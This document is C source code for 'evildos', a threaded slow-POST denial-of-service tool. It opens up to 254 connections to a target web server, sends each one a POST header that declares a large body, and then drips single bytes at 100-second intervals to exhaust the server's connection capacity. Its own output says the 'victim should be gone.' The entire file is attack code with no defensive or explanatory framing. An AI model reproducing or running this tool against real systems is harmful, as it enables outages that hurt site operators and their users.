#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define MAXSIZE 5000
#define THREADS 255
char startbuf[MAXSIZE];
char hostname[MAXSIZE];
int port;
void dothread(void *arg)
{
int sd, count=0;
struct sockaddr_in sin;
struct sockaddr_in pin;
struct hostent *hp;
int self;
char dot[1];
memcpy(&self, arg, sizeof(int));
if ((hp = gethostbyname(hostname)) == 0)
{
perror("gethostbyname");
exit(1);
}
memset(&pin, 0, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
pin.sin_port = htons(port);
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
return;
}
if (connect(sd,(struct sockaddr *) &pin, sizeof(pin)) == -1)
{
perror("connect");
return;
}
if (send(sd, startbuf, strlen(startbuf), 0) == -1)
{
perror("send");
return;
}
dot[0] = (unsigned char)(self&0xFF);
for (count=0;count<5000;count++)
{
/* just a weak PRNG..better use rand() instead */
dot[0] = (unsigned char)(dot[0]+count);
dot[0] = (unsigned char)((dot[0]<<1)|(dot[0]>>31))&0x7F;
send(sd, dot, 1, 0);
sleep(100);
}
close(sd);
}
void usage(void)
{
printf("Usage: ./evildos <host> <port> <POST_URI>\n");
printf("POST_URI is a URI that supports the POST method. Static content obviously don't\n");
exit(1);
}
int main(int argc, char **argv)
{
pthread_t threads[THREADS];
int counter;
if (argc!=4) usage();
strcpy(hostname,argv[1]);
port = atoi(argv[2]);
sprintf(startbuf, "POST %s HTTP/1.1\nHost: %s\nAccept: text/html\nAccept-Encoding: gzip,deflate\nConnection: keep-alive\nKeep-alive: 900\nContent-length: 5000\n\n", argv[3],hostname);
printf("Spawning threads\n");
for (counter=1;counter<THREADS;counter++)
{
pthread_create(&threads[counter], NULL, dothread, &counter);
usleep(100000);
}
printf("All threads spawned, wait for graceful shutdown. At that point unless there are limits on concurrent conns, victim should be gone.\n");
for (counter=1;counter<THREADS;counter++)
{
pthread_join(&threads[counter]);
}
}